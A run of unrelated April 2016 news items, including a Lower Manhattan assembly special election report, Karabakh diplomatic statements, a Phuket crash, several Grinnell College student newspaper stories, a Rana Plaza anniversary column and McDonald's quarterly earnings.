The votes were barely counted the other night when Paul Newell, one of the contenders in Septembers primary, sent around a sharply worded statement. He linked Cancel to the Sheldon Silver machine, but also took aim at Joe Crowley, the Queens Democratic party boss who was accused of meddling in the Lower Manhattan race. Crowley and the Queens machines politics of big money and personal attacks failed to win the day, Newell asserted, in spite of dumping hundreds of thousands of special interest dollars on vicious and misleading attack ads.

This point of view was also expressed by Soho activist Sean Sweeney of the political club, Downtown Independent Democrats (candidates Newell and Jenifer Rajkumar are club leaders).  I feel that this is a major defeat for the Working Families Party, he told us on Wednesday, and the local elected officials who selfishly switched allegiance from their own party to endorse a Queens Machine candidate backed by the Working Families Party.

For Yuh-Line Nious part, she put out a statement  congratulating Cancel  and stating, We knew that running against the machine, off the Democratic line would be a challenge. Alluding to the next campaign, she said, We move on tonight from this party-dominated special election to Septembers primary, and I look forward to continuing our vigorous fight to advance our progressive values.

During the afternoon on Tuesday, Senator Squadron stood outside a polling place on Grand Street, passing out literature for the Niou campaign and urging passersby to vote. Several hours later, as votes came rolling in., he was one of the first people to place a congratulatory call to the assembly member-elect. John Quinn, Cancels campaign manager and husband, said Squadron suggested they sit down sometime soon for a post-election conversation.

Squadron and Cancel, now counterparts in the Senate and Assembly, have good reason to work past their differences. But given the looming primary election, politics is likely to take precedence over policy  both in Albany and here in the district for the rest of this year.

Known Democratic candidates in the September race include Paul Newell; Jenifer Rajkumar, a district leader in the Financial District; Gigi Li, chairperson of Community Board 3; and community activists Don Lee and Christopher Marte.

In the aftermath of the special election, the campaign organizations are sifting through precinct-by-precinct reports for useful takeaways.

Even though she faced a huge financial disadvantage, Cancel and Quinn successfully did what theyve been doing for years as political operatives in their section of the Lower East Side. They got their loyal supporters  many of them residents of large complexes such as the Vladeck Houses, the Smith Houses and Southbridge Towers  to the polls.

As expected, Niou performed well in Chinatown. She collected 351 votes at Confucius Plaza alone, compared with 139 for Republican Lester Chang and 51 for Cancel. But she also won a lot of support in the Grand Street Cooperatives, Sheldon Silvers traditional political base. She had worked hard to gain the backing of reform-minded residents of the co-ops, many of whom are eager for a clean break from the past.

It remains to be seen whether Lester Chang will run again on the Republican Party line. On Tuesday, he came in with just shy of 19% of the vote. Rob Ryan, a campaign spokesman, told us this week that theyd be taking a hard look at the numbers before making a decision. They saw the special election as a unique opportunity and hoped to take advantage of a split vote among Cancel and Niou, both Democrats. Ryan hoped more independents would show up (the NYC GOP spent heavily on direct mail aimed at unaffiliated voters). That didnt happen.

For the moment, Cancel is focused on finishing out Sheldon Silvers term in Albany. On Tuesday, she told supporters, You elected me and you wanted me to be your representative and to go to Albany to clean up the corruption and thats what Im going to do! On Wednesday, Quinn told us shell be in a good position to take a strong stand on ethics reform and other issues because Cancel has no intention of staying in Albany long-term. Shell serve one or two terms, and that will be it, said Quinn.
NKR Foreign Minister Karen Mirzoyan answers government's questions

NKR Foreign Minister Karen Mirzoyans answers to the questions asked during the NKR National Assembly and Government question and answer session at the NA April 21, 2016 session Question: My question to the Foreign Minister is as follows: in the Karabakh conflict settlement process, the so-called Madrid Principles are on the negotiation table. What is the official stance of the NKR ? Answer: Dear colleagues, thank you for the question. I think the answer to that question has been repeatedly voiced in the National Assembly as well as other structures not only by the Foreign Minister, but also those officials of Artsakh, who are authorized to express their views on these issues. We believe that any document, which was discussed and developed without the participation of the Nagorno Karabakh Republic, is simply not viable. And this is not only  conviction, but also a logical conclusion. That is why we insist, and you know our official view, that the Karabakh party should return to the negotiation table as full-fledged party to the negotiation process. And by saying the negotiation process we mean all its stages; from putting forward certain ideas to the development of a common philosophy of negotiations, also, if possible, the joint discussion of the arrangements reached, agreeing upon them, and, why not, also their implementation, i.e., putting them into effect. Question: Today, Russian Foreign Minister Sergei Lavrov is arriving in Yerevan. The Russian Izvestiya newspaper has published an article about the so-called plan of Putin or Lavrov on the Karabakh settlement, which was developed after the four-day war and which Moscow seeks to carry out. Are you aware of this and, if so, what can you tell us in this regard? Answer: First of all, thank you for your interest shown in the foreign policy. Yes, I am aware of the article published in the Izvestiya daily newspaper, and surely, I have read it. But, when developing and implementing the foreign policy, we are not guided by newspaper articles. Let me remind you that these days, like in previous days, numerous articles were published, that were very contradictory. In our work we are guided by official statements of, say, Minister Lavrov, and other officials. And I advise to be guided by these statements and not by media publications.
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Collective for the self-determined Karabakh: United Nations must admit remedial secession of Karabakh

The Collective for the self-determined Karabakh, a group bringing together individuals and organizations of the Armenian Diaspora of France, has issued a statement urging the United Nations 'to admit remedial secession of Karabakh as the unique solution for the Armenians of Republic of Upper Karabakh." "In this April 24, 2016, we commemorate the victims of the Armenian genocide by the "Young Turks" government of 1915-1916. Turkey pursues an offensive denial policy to hide its responsibility in the organization of intentional mass crimes and deportations, although recognizing their reality. Yet the discourse and the method do not change. They continue their hate speech toward Armenians and support Azerbaijan in the Karabakh conflict. Prime Minister Davutoglu promised the Apocalypse for the Armenians. The intention of aggressive and criminal military assaults of Azerbaijan over the self-proclaimed Republic of Karabakhs is of the same vein: to eradicate the Armenians from this region. Recent attacks killed nearly a hundred people from the Armenian side (from 2 to 5 April 2016) in the general indifference of the major Western powers, threatening regional peace and leading eventually to a conflict that may extend far beyond the borders of the Caucasus. This is why the "Collective for the self-determined Karabakh" challenges the permanent members of the UN Security Council to take up the matter and impose an embargo on arms sales to Azerbaijan. We denounce the arms sales by Russia, France, Israel, Ukraine, Belarus and Azerbaijan and call for demonstrations outside embassies of these countries and the Quai d'Orsay. For 22 years, Azerbaijan has developed an unparalleled official hate speech against Armenians that feeds the project to eliminate the other. Ordinary murderers of Armenians are themselves elevated as national heroes such as the officer Safarov who murdered with an ax an Armenian officer in his sleep in 2004, during a military training on a NATO base in Hungary. Opponents of Ilham Aliyev regime and human rights activists are all charged for one reason or another to serve the Armenians. Mutilations, beheadings and torture of Armenian military bodies returned by Azerbaijan in early April, illustrate this hateful and criminal intent. Moreover, Azerbaijan is the main sponsor of groups denialists of the Armenian genocide in the world; a tool of their hatred policy. Can one really imagine Karabakh be back under Azerbaijani administration in these conditions? Its existence as an ethnic group would be threatened. This is a sufficient condition that justifies the United Nations Security Council to take up the issue and transmit a request for advisory opinion from the International Court of Justice on the secession of Karabakh from the Azerbaijan Republic. We call at the same time the government of the Republic of Armenia to act for national unity. This must be translated in concrete steps such as a return to democracy, release of political prisoners, the lifting of prohibition of entry into the country of Diaspora Armenians, repatriation of $ 10 billion which were illegally transferred to tax havens from 2004-2013 by oligarchs and some senior Armenian officials. This money belongs to Armenians and should be used to ensure the means of security of Armenia. Faced with the external threat, national unity is needed more than ever," the group said in the statement.
Phuket man falls asleep at wheel, flips vehicle, wipes out motorbikes

PHUKET: The driver of a Ford pickup truck escaped with only minor injuries when he crashed his vehicle into a delivery truck parked in front of the SuperCheap store in Koh Kaew in the early hours of this morning. However, the impact of the crash caused the pickup to flip, wiping out several motorbikes in the process.

accidentstransportpolice

By Eakkapop Thongtub

Friday 22 April 2016, 10:41AM

The Bangkok registered pickup truck flipped and hit eight motorbikes parked in front of the Sapam branch of SuperCheap on Thepkassattri Rd, northbound, in Koh Kaew. Photo: Eakkapop Thongtub

Lt Col Chalaew Taihoo from Phuket City Police responded to a 191 call at 3am where it was said that a Bangkok registered pickup truck had flipped and hit eight parked motorbikes in front of the Sapam branch of SuperCheap on Thepkassattri Rd, northbound, in Koh Kaew.

Police arrived at the scene with Kusoldharm rescue workers to find a Ford Ranger lying on its side in front of the store along with eight damaged motorbikes.

About 150 metres away was a SuperCheap delivery truck with its rear-end damaged.

Additional police were dispatched to the area to ensure traffic could flow whilst debris was removed from the road.

The driver of the pickup, 46-year-old Wason Wijitwittayakul, who had suffered minor injuries to his right arm, told police that he had just left Bang Niew Shrine after attended a ceremony and was heading to his home in Thalang.

Wason admitted that he fell asleep at the wheel and this caused him to slam into the back of the parked delivery truck. The impact caused his truck to flip and crash into the parked motorbikes, explained Lt Col Chalaew.

He will be charged with reckless driving. He has been taken to the station so we can discuss with him the total cost of all the damage, he added.
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George Clooney and Ruben Vardanyan visit ARARAT Museum in Yerevan

International guests opened their weekend in the nations capital for the inaugural ceremony of the Aurora Prize for Awakening Humanity by visiting the Yerevan Brandy Company and its renowned museum dedicated to the legendary Armenian ARARAT Brandy. Co-Chair of Aurora Prize Selection Committee George Clooney together with Co-Founder of the Aurora Prize initiative Ruben Vardanyan were joined by many other special guests as they toured the ARARAT Museum and acquainted themselves with this integral component of the heritage and culture of Armenia. Guests were particularly moved by learning the story of Markar Sedrakyan, the legendary Master Blender of the Yerevan Brandy Company. A survivor of the Armenian Genocide of 1915, he used the most painful experience of his early life to build upon his inner strength and achieve great success in both his professional and personal life. Igor Arakelyan, Chief Operating Officer of Yerevan Brandy Company, a Partner of the inaugural ceremony of the Aurora Prize for Awakening Humanity, said, "It is a great privilege to welcome the distinguished guests of the Aurora Prize to the Yerevan Brandy Company, one of the great landmarks in this city situated beneath the arches of Mount Ararat - an imperishable symbol of rebirth and new life. The legendary Armenian brandy ARARAT is produced by Yerevan Brandy Company using traditional technology, the foundations of which were laid in 1887 by the brothers Nerses and Vasily Tairyants. ARARAT brandy is created using only local endemic high-quality Armenian grapes and crystal clear spring water. Precious ARARAT brandy is aged exclusively in barrels made of Caucasian oak, produced in their in-house cooperage plant. In 1998 Yerevan Brandy Company became a part of Pernod Ricard, an international company and the worlds leader in the Premium spirits industry.
Ronnie Ruse

rusevero@grinnell.edu

This weekend, the well-known high school English classic Lord of the Flies comes to Roberts Theatre in an innovative student production directed by Sophiyaa Nayar 17.

For those who need a brief recap, Lord of the Flies by William Golding is the story of a group of British schoolchildren who are isolated on an uninhabited island. The childrens attempt to establish order in their primitive new home sets the scene for examination of power structures and good versus evil.

Nayar chose to produce Lord of the Flies because she is interested in the psychology of power and the human subconscious.

Im fascinated by the idea of human beings in isolated situations and what becomes of them based on the things that theyve seen, like things on TV or the media, Nayar said. In situations of isolation people pick up on power structure. These kids end up bullying each other because theres no one stopping them, and it starts off childish and playful [but] eventually becomes menacing.

The project originally started out as a Mentored Advanced Project (MAP) before it became an open space production. She drew inspiration from her time in boarding school and the class hierarchy.

I absolutely loved my experience in boarding school. But we had experiences of groupthink and group mentality.There was this whole idea that when a senior gets up and says, Do my laundry, you dont question it, you just do it, Nayar said. My whole time there I respected it and it made complete sense to me. Getting out of it and looking back at it I realized that there were some strange groupthink things that I did that I wouldnt have done if I had thought on my own.

Nayar believes that student productions offer a unique hands-on opportunity and valuable learning experience for students.

I think its important to have student productions on top of faculty productions because it gives student directors a chance to practice outside of a classroom and [show] us the gaps we have in our knowledge, Nayar said.

Anh Thu Pham 19, who plays a hunter named Maurice, said she enjoyed the flexibility of working with a student director and the amount of student input in the production.

This is the first play Ive auditioned for and I thought it was interesting. I auditioned for improv and that sparked my theatre interest, Pham said.

Although all of the characters in the original novel are boys, Nayar made the decision to cast a gender-neutral ensemble.

Sophiyaa decided to have a gender-neutral cast, and she wanted specifically Piggy to be male, Pham said. In the book the only female character is the pig and the [only other] feminine character was Piggy. And Piggy was bullied for his thinking and for his way of reacting to things.

Nayars play riffs on the idea of a gender-neutral cast by having a group of female hunters bully Piggy.

Were shaping our own gender. Girls are bullying Piggy for being a girl, for being feminine, Pham said.

Nayar hopes the play will be accessible to a diverse audience.

I think its a show worth coming to because its a book we all read when we were kids, but viewed through a slightly different lens. The theatre department does really good work and really interesting work, but sometimes it tends to be work that not everyone in the campus can relate to directly, she said. So this I think can be a piece that everyone knows and everyone can come to, like your favorite movie.
Rob Spillman, the co-founder and editor of literary magazine Tin House, visited Grinnell this week as part of the Writers@Grinnell series. Spillman recently published his memoir, All Tomorrows Parties, about his younger life and connection to the city of Berlin. He spoke to students about being an editor on Monday, April 18 at 4:15 p.m. and gave a reading from his new book at 8 p.m. The S&Bs copy editor Susanne Bushman sat down with Spillman to talk about Tin House, editing and his new book.

The S&B: What made you decide to go out and start your own literary magazine? How did you hope that Tin House would be different?

Spillman: At the time when I started  I agreed to do this in 98  literary magazines were kind of boring. It was a common attitude that they were supposed to be like medicine, they were supposed to be good for you. So I wanted Tin House to have fun and look good  I wanted to hire an art director to make it something you actually wanted in your house and on your coffee table. I wanted writers to write whatever they were passionate about and give more space for creative nonfiction than was traditional in most literary magazines.

And have you lived up to those expectations?

I think so. We were also at the right place at the right time because at the time a couple of famous literary magazines, including Story Magazine, folded. The New Yorker actually used to publish two stories a week and went to one right at that time. And some other big magazines stopped publishing fiction altogether, so we came along at a really good time to pick up the slack. So, we were lucky and good at the same time.

How do you develop good relationships with your writers, especially when a lot of the work you publish is voice-driven and very personal?

Well, I think editing, first and foremost, is an exercise in empathy. Your job is like, I see what youre trying to do here, but maybe youre doing too much here or too little, or Is this really the word you want to use? Youre just pointing these things out. Youre not rewriting it for them. And good writers will take whatever I suggest and see that theres a problem and rewrite it themselves in their own words. But, you know, having just been edited myself, that made me more empathetic to writers because I saw my editor pointed out all these things that I just couldnt see myself.

It came up during the roundtable conversation that Tin House publishes a lot of previously unpublished writers. Why is that important to you and to Tin House? How do you know which new writers are worth taking risks on?

I think good writing just sort of pops out. The reason I keep doing this  Ive been editing the magazine for 18 years  is to be surprised and challenged and excited by a new voice.  Its great that you can say the big names  the people who are at the height of their power  but its really exciting to be able to say, I discovered this writer, and follow them throughout their career. Like, I can say I published Victor LaValles first short story or something like that.

So, at what point in your career did you decide you wanted to start writing the memoir that recently came out?

I knew I wanted to write about the material for a long time and it took me 10 years to write it. So, there just reached a point where I just wanted to wrestle with the material and interrogate it and be done with it. Unfortunately for me that took 10 years. And seven of those years were failing  failing with the structure, failing in all sorts of different ways until I finally found a structure that worked. And then the last three years were more productive.

For a memoir, you book has a very forward-looking name: All Tomorrows Parties. Is that indicative of the themes in some way?

Well its the title of a Velvet Underground song, so its actually about someone who is so forward thinking that theyre not living in the moment. So, one of the themes of the book is not being able to be fully present and always thinking that the next party or the next scene is where they should be versus actually being in the moment and being in their own scene and being in their own creative self.
Lily Bohlke, Copy Editor

bohlkeli@grinnell.edu

If youve seen firefighters looking extra spiffy recently, it may be because the Grinnell Fire Department recently purchased 25 brand new sets of turnout gear.

The new sets of turnout gear, which include helmets, coats, pants, boots and gloves, cost 3,000 dollars each. The National Fire Protection Agency (NFPA) recommends replacements for turnout gear every ten years; however, many sets of gear at GFD were between 11 and 20 years old.

We had a training fire and one of the guys got a small burn on his knee, said Fire Chief Dan Sicard. What we realized was that we had different generations of gear. He was in some older stuff while the other men were in newer stuff, and they didnt feel the heat like he did.

In addition to replacing turnout gear, GFD regularly spends money on maintenance and repairs as well as replacing older equipment.

Our fleet of trucks is getting older  our ladder truck is over 26 years old, Sicard said.

Another recent expenditure by the Fire Department was Fire Prevention Week, where GFD, partnering with NFDA, ensured that Grinnell residents have working fire alarms and other preventative measures are taken.

The Grinnell Fire Department has been able to continue its program of installing smoke detectors for any area residents if needed, said Sicard in a GFD Press Release.

The Fire Department has five full-time, two part-time and 25 volunteer firefighters. However, recently fewer volunteers have been responding to calls.

On a call, on average we get 1 out of 3 volunteers, Sicard said. People have gotten busier and businesses dont let them go like they used to, people travel for work  things like that.

The Fire Department receives money from the City of Grinnell, applies regularly for grants and receives donations.

The city provides funding for the Fire Department  we have five full-time members and they pay for their salaries, fuel for the trucks and maintaining the trucks and things like that, Sicard said.

Updates, however, are fundraised by members and volunteers. Firefighters hold an annual dance and collect money at the door, they have a pancake breakfast with an open house of the Fire Department and two years ago, GFD raised money at the Iowa Firefighters Association.

A lot of money is spent on maintenance more than buying new things, Sicard said.

Aside from the fundraising, the Fire Department holds Puppies and Pancakes, a study break at the College, allowing students a carbohydrate-filled way to release some stress during finals.

We love doing that, Sicard said. Im glad students enjoy it.
Megan Tcheng

tchengme@grinnell.edu

Overlooking Mac Field and situated parallel to the Harris Center, the Cowles Apartments occupy one of the most central and public areas on campus. For any student frequenting a weekend Harris party or trudging across campus for an afternoon workout at the Bear, the angular exterior of one of North campuss most popular dorms strikes a tone of familiarity  as do the eye-catching displays that line the apartments central glass windows.

The Cowles apartment windows display an array of objects that their residents choose to show off, and once featured an extensive collection of empty beer and liquor bottles, which elicited a wide range of reactions. During their peak, the bottles openly decorated the windowsills of the apartments, signifying what Connor Bailey 16 described as his and his roommates shared expression of freedom in adulthood, responsible drinking and willingness to party and dance (because there is more to life than just academics).

Recently, however, the bottles have become the center of a campus-wide debate. Namely, requests for the removal of the display issued by the administration spurred serious pushback from numerous residents of the Cowles apartments. Annie Butler, the Residence Life Coordinator of CaNaDa, Clark and Gates residence halls, explained the buildup of events.

Last fall, towards the beginning of December, I reached out to the apartment residents and sent out an email, asking that the bottles come down. In that email, [I] outlined my perspective as far as what I saw the bottles representing, compared to what our campus culture more accurately reflects  or hopes to create, Butler said.

Butlers initial proposal went largely unnoticed by the Cowles residents, until the issue resurfaced this past March. Hoping to restart a dialogue, the Cowles apartment Community Advisor (CA), John Gallagher 17, hosted a community conversation to readdress the issue of the bottles.

Speaking to his role as CA, Gallagher outlined his general intentions for the meeting as trying to be as fair as he could.

My goal was to be the most neutral figure possible. Also, as a student advisor, my goal was to make sure the needs of the entire community, not just my floor were being met. Things can get out of hand really quickly and sometimes you need a referee who can advocate calmly what everyone needs and what everyone wants, he said.

Following the Cowles apartment community meeting, Sarah Moschenross, the Dean of Students, sent out a formal email outlining an official policy for the removal of the bottles. If the bottles failed to be disposed of in a weeks time, Facilities Management would be contracted to clean up the remaining items and residents would be charged for the labor accordingly.

Now, over a week after the release of Moschenrosss final email, the majority of the Cowles apartment bottles have been removed. However, despite their absence, the bottles and the dialogue surrounding their removal continue to fuel a larger debate concerning the issues of substance abuse and conduct on campus.

According to Butler, the bottles are part a bigger narrative of binge drinking and competitive drinking at Grinnell. She explained, There have been a significant number of students who have transferred from Grinnell because of a substance culture on campus. We want to advocate for those students and provide an environment where all students can be successful. I think the bottles are not causing that alone. There is a larger substance culture on campus and this is one thing which we, as staff members, are taking responsibility for and helping students address.

Ric Tennenbaum 18, a current CA and facilitator of multiple support groups on campus, echoed a similar sentiment. They explained that they felt it was insensitive to have [these bottles] on a campus that has a lot of problems with divisions between those who drink and those who dont, those who use substances and those who dont. Its not helping to hold on to [these bottles]. Its missing the point of campus community and what we really need to be fighting for.

Bailey, a Cowles apartment resident, sees the issues surrounding the removal of the bottles differently. To him, the administrations demands demonstrate the changing role of self-governance on campus.

I think [this issue] shows that the administration is taking self-governance into their own hands, which is dangerous to my conception of self-gov, he said. This disempowers what self-governance is supposed to do  within the definition of self-gov, there needs to be room for choice. If there is no choice, there is no space for self-governance.

All of these arguments come to a head at a very pivotal moment in the future of self-governance and substance use on campus. This past Tuesday, April 19, Andrea Connor, Associate Vice President for Student Affairs, sent out a campus-wide email that outlined 35 recommendations for campus life at Grinnell. These recommendations, which were initiated by Grinnell Colleges Task Force on Residential Learning, called for the reconsideration of policies concerning substance use and abuse on campus and, additionally, asked for an updated definition of self-governance, in order to best serve the mission of the College.

This raises some tricky questions, namely: How do we portray substance use on campus? And additionally, what is in store for the future of self-governance at Grinnell?
Michael Cummings, Community Editor

cummings@grinnell.edu

I know you all love fracking because it sounds like another favorite f-word of ours, said Taylor Brorby, an MFA student in Creative Writing and Environment at Iowa State University, to a room of Grinnellians celebrating Earth Week. Brorby introduced three other authors and an editor of his recently published anthology, entitled Fracture: Essays, Poems, and Stories on Fracking in America, as part of a panel event hosted by the Center for Prairie Studies and the Environmental Studies Department in JRC 101 on Tuesday night.

Fracking, the process of using a combination of drilling and flooding to fracture shale miles below the earths surface to extract fossil fuels, has been criticized for the harm it does to the environment. Here in Iowa, many people oppose the Bakken oil pipeline which would carry oil from fracking in North Dakota through the state.

In reaction to this and other issues related to fracking, Brorby put together Fracture to gather a variety of voices expressing their thoughts and concerns on the issue.

What would Bakken mean for the natural and social environments of Iowa and the Midwest, and what does fracking mean for us all? asked Professor Jonathan

Andelson, Anthropology, the Director of the Center for Prairie Studies. Taylor Brorby set himself the task of collecting answers to those questions from people around the United States.

Brorby began by reading the preface to the book, a short story entitled Fracking: A Fable by Barbara Hurd. The story, written in prose reminiscent of a fantasy novel, tells the history of the formation of oil deposits and their violent extraction from the Earth by humans.

To finish off the event, Brorby introduced the final speaker of the night, Debra Marquart, Professor of English at Iowa State University. Marquart spoke on some of her first-hand experience seeing the oil boom in North Dakota.

In September of 2013 a Tesoro pipeline broke outside of Tioga, North Dakota, and 865,200 gallons of Bakken crude were emptied into a farmers field, Marquart said. In January of 2015  I met the woman, Patty Jensen, whose farm that was, and she told me they were still cleaning that 30 acres of land. It will never, ever be the same.

To conclude the talk, Brorby read another piece from the book, one entitled Hear No Evil by Stefanie Brook Trout. The essay used the refrain We dont want to hear about fracking to make a satirical point about societys continued and willful ignorance about the issues it causes. In one part of Trouts piece, she warns, Fracking is the future. As long as its not in our backyard. In fact, why not do it somewhere weve already written off? Like North Dakota. Hell, it might even make the place a little better.
Column by Chase Booth

boothcha@grinnell.edu

Reactions to the news that J.K. Rowling was going to publish a book outside of the Harry Potter franchise were split into two main camps: those who bemoaned any writing of Rowlings not dealing with our favorite wizard protagonist and those eager to get their hands on anything written by Rowlings Midas touch. When I first heard about The Casual Vacancy, I fell into the former camp  initially, at least. After some time, I decided to buckle down and pick up The Casual Vacancy and was not only pleasantly surprised but also thoroughly enjoyed returning to her writing in a novel intended for and dealing with adult themes.

The Casual Vacancy begins with the unexpected death of small town politician Barry Fairbrother and drama ensues as the locals of Pagford vie with one another for Fairbrothers now-vacant seat. The upcoming election turns petty conflicts and interpersonal beefs into full-on rivalries and factions. We learn that Barrys seat is actually a linchpin in the ongoing debate about whether or not to keep The Fields in the town of Pagford or join the neighboring town of Yarvil. The Fields, home to Pagfords poorest residents, is the site of debate that divides the town up between the rich and the poor, the privileged and the disenfranchised, the pristine and the unclean. Because Barry Fairbrother was an advocate for keeping The Fields in Pagford, his empty seat becomes all the more important to obtain by his opponents who will stop at nothing to remove the eyesore from their otherwise pristine town.

Tensions heat up further as the teenagers, fed up with their home life, create an online forum and post secrets about their parents (who are all running for office) under the pseudonym The_Ghost_Of_Barry_Fairbrother. The secrets arent light, either. They range from affairs and interpersonal family drama to criminal charges and even pedophilia. As the town reels from these anonymous revelations, some relationships will never repair as the adults scramble to shut down this website before darker secrets are revealed.

We know from Harry Potter that Rowling possesses a masterful understanding of human nature, and The Casual Vacancy only verifies that sentiment. Juggling multiple characters within one novel is hard enough but doing that and creating in-depth, unique personalities on par with the depth of some Harry Potter characters is nothing short of praise-worthy. She deftly weaves together complex character storylines without sacrificing clarity. In fact, as the story goes on, the drama and intrigue only increase as we learn more and more about the characters and their intricate web of small town politics.

Readers of The Casual Vacancy are also treated to Rowlings penchant for social commentary. One storyline in particular focuses on young Krystal Weedon, the daughter of a heroin addict who raises her younger brother in The Fields. Poor and living in an untenable home situation, Krystal becomes the center of The Fields controversy and the towns political struggles. Rowling also deals with issues like child abuse, self-harm, rape, depression and anxiety in constructive and meaningful ways with multiple characters.

Rowling ingeniously integrates local, individual hardships with macro-level political decision-making. One of her characters, Kay Bawden, is the social worker for Krystals family and becomes the voice of reason in all the towns conversations about whether or not to close Bellchapel, Pagfords only rehabilitation clinic. Without spoiling anything, the residents of Pagford end up having to cope with events resulting from poor decision-making and end up leading to a shocking and sad ending.

What one should not do while reading The Casual Vacancy is compare it with Harry Potter. Critics of this novel have had too much fun tearing it down with snide remarks like The Casual Vacancy lacks the magic of Harry Potter without offering any substantive critiques. It is obvious that a novel about small town muggle politics wont resemble the magic of Harry Potter.

The Casual Vacancy is sure to appeal to everyone at Grinnell where we know all too well how small town/college gossip spreads and what it feels like to have everyone know your business. Especially if youre itching for more of Rowlings magic, be sure to pick up this engrossing novel.
The timing seems off.

Could it be that just three years have passed since the Rana Plaza disaster? Yet Sunday marks this anniversary, a word that sounds celebratory and thus inappropriate.

It seems longer ago that we were struck numb by images of the collapsed Bangladesh garment factory, illegally stacked floor upon floor until it fell in a blast, taking the lives of more than 1,100 workers who had been eking out penny wages as cutters and sewers.

What has changed?

Phil Robertson, deputy director for the Asia division of Human Rights Watch, shoots an email from his perch in Bangkok: On the day of the Rana Plaza collapse, workers saw the cracks in the walls and didnt want to go to work but they were forced to by threats by supervisors to fire them.

We remember. And then the generator rumbled. And then.

The problem is Bangladeshs government is of the factory owners, by the factory owners, for the factory owners  and workers face intimidation, sexual harassment, long hours with low pay, and hazardous and dangerous working conditions. That needs to change and Canadian officials and consumers should be demanding that.

Are we? Demanding that?

Last week, HRW released a report with the chilling title Whoever Raises Their Head Suffers the Most. Drawing on interviews with 160 workers at 44 factories between October, 2013, and April of last year the report documents a long list of worker abuse that, sadly, does not surprise.

Violations of workers rights were a problem in nearly all of the factories and included practices contrary to both national Bangladeshi law and codes of conduct that western retailers insist, often in production contracts, that their suppliers follow, the report states.

Unpaid wages, delayed wages, forced overtime, unattainable production targets, unsanitary conditions, physical and sexual abuse, dismissal of union leaders and the suppression of attempts to form unions. A union treasurer recounted: I was beaten with metal curtain rods in February when I was pregnant. I was called to the chairmans room, and taken to the 3rd floor management room which is used by the management and directors  and there I was beaten by the local goons There were other women who were called at other times, and they were beaten the same way as well. They wanted to force me to sign on a blank piece of paper, and when I refused, that was when they started beating me. They were threatening me saying You need to stop doing the union activities in the factory, why did you try and form the union. You need to sign this paper.

She was fired and not paid the full wages she was owed.

According to HRW, only about 10 per cent of the more than 4,500 garment factories in Bangladesh have registered unions. The country is a long way from meeting its commitments under the Sustainability Compact it signed with the European Union and the International Labor Organization three months after Rana Plaza collapsed. A chief objective of the sustainability compact was and remains to pull Bangladesh in line with international labour standards. In January, the compact partners emphasized the need to adopt legislative changes to protect freedom of association and collective bargaining. HRW calls upon Canada, along with the United States and the European Union, to ensure that the Bangladesh government publicly announces time-bound commitments to revise its labour laws and rules.

All of this may leave concerned consumers wondering, is it okay to buy that T-shirt?

The Alliance for Bangladesh Worker Safety and the Accord on Fire and Building Safety in Bangladesh, both created in the wake of the catastrophe, report results of their factory safety audits. Aggregate data shows, for example, that more than 1,200 factories inspected by the Accord are behind schedule in remediating infractions that include locked doors, an absence of fire doors etc. Suspensions are reported by name, so you can see that last month M/S Mega Chois Knitwear Ltd. was deemed a non-compliant supplier by the Accord and thereby ineligible to produce for any signatory firms. (The six story building, which employs 600, has but a single exit on each floor and a daycare on top.)

There is no cross referencing to apparel and footwear brands, however. Human Rights Watch takes the position, as should investors, that all global brands fully disclose their supply chain and pledge to work with those factories to ensure they comply with international standards for workers basic rights.

Such an initiative sounds very 2016.

Loblaws (Joe Fresh) is a signatory to the Accord. Canadian Tire and Hudsons Bay are signatories to the Alliance.

The issue of worker rights in garment producing regions will only grow. The absence of independent trade unions in Vietnam, a signatory to the Trans-Pacific Partnership, and a contentious newly passed labour law in Cambodia underscore that Bangladesh is only part of the problem. Both Cambodia and Vietnam are significant players in garment and footwear exports to Canada, churning out pretty spring wear, at unlivable wages, for Canadian consumers. A reminder that three years after Rana Plaza theres a world of work left to do.

Jennifer Wellss column appears Monday, Wednesday and Saturday.

jenwells@thestar.ca

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McDonalds Corp.s turnaround is showing signs of gaining steam, helped by all-day breakfast, value deals and lower commodity prices, even as labour costs and other headwinds exert pressure on them.

The fast-food chain posted a 6.2-per-cent gain in same-store sales last quarter, the best performance in four years. (Same-store sales show the performance of McDonalds restaurants open at least 13 months.)

Earnings topped analysts estimates.

But company-wide revenues declined last quarter, the seventh straight drop.

The boost same-store sales seems to show CEO Steve Easterbrooks plan to revive the worlds largest restaurant chain is gathering momentum.

The company has reignited U.S. sales with all-day breakfast and McPick two-for-$2 and two-for-$5 deals.

Theyre getting back to why customers fell in love with the brand, said Michael Halen, an analyst at Bloomberg Intelligence.

Since taking the helm more than a year ago, Easterbrook has revamped drive-thru ordering, tweaked kitchen operations and slimmed down the menu.

The burger chain faces challenges. Higher labour costs are exerting pressure on its profit margins.

McDonalds also is embroiled in a dispute with the National Labor Relations Board in the U.S. over whether workers at its franchised restaurants qualify as company employees, a change that threatens to upend its business model.

The companys shares, which rose as much as 2.1 per cent early in the trading day, were little changed at $125.77 (U.S.) at 10:43 a.m. in New York amid a broader decline in U.S. stock markets. McDonalds had gained 6.5 per cent this year through Thursdays close, compared with a 2.3-per-cent advance for Standard & Poors 500 Index.

While revenue dropped 0.9 per cent to $5.9 billion in the quarter, that beat the average projection of analysts, $5.81 billion. Net income rose to $1.23 a share in the quarter, the Oak Brook, Illinois-based company said in a statement Friday. Analysts estimated $1.16, on average.

Profit is getting a boost from lower prices for ingredients, such as beef, and that trend may continue. The company said it expects its grocery bill of 10 commodities to drop by as much as 4.5 per cent in the U.S. this year, a larger decline than the company predicted in January.

McDonalds, which gets about two-thirds of its revenue from international locations, is seeking to attract diners overseas with new food and deals in these locations. In Germany, the chain is advertising a low-priced basics menu, along with new double-chicken burgers topped with honey mustard.

In March, McDonalds said its seeking partners in Asia to accelerate its plans to grow there. The purveyor of Big Macs plans to add more than 1,500 restaurants in China, Hong Kong and Korea in the next five years. The company also recently said its trying to find strategic partners for Taiwan and Japan.

Same-store sales are considered a key indicator. Sales by that measure, as compiled by Consensus Metrix, increased 5.4 per cent in the U.S. Analysts projected a 4.6-per-cent gain. Same-store sales rose 5.2 per cent in McDonalds international lead markets unit, which includes the U.K., Australia and Canada. Analysts estimated a 4.1-per-cent increase. Comparable sales increased 3.6 per cent in the high-growth markets. Analysts projected an advance of 3.4 per cent. Same-store sales rose 11 per cent in the foundational markets segment, as lifted by a rebound in Japan. Analysts estimated a 6.2-per-cent gain.

Our turnaround is taking hold, Easterbrook said in the statement. The ongoing investments were making in running great restaurants and delivering what matters most to our customers are beginning to yield sustained positive results.

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A Hologram for the King

Starring Tom Hanks, Sarita Choudhury, Alexander Black and Sidse Babett Knudsen. Directed by Tom Tykwer. At GTA theatres. 98 minutes. 14A

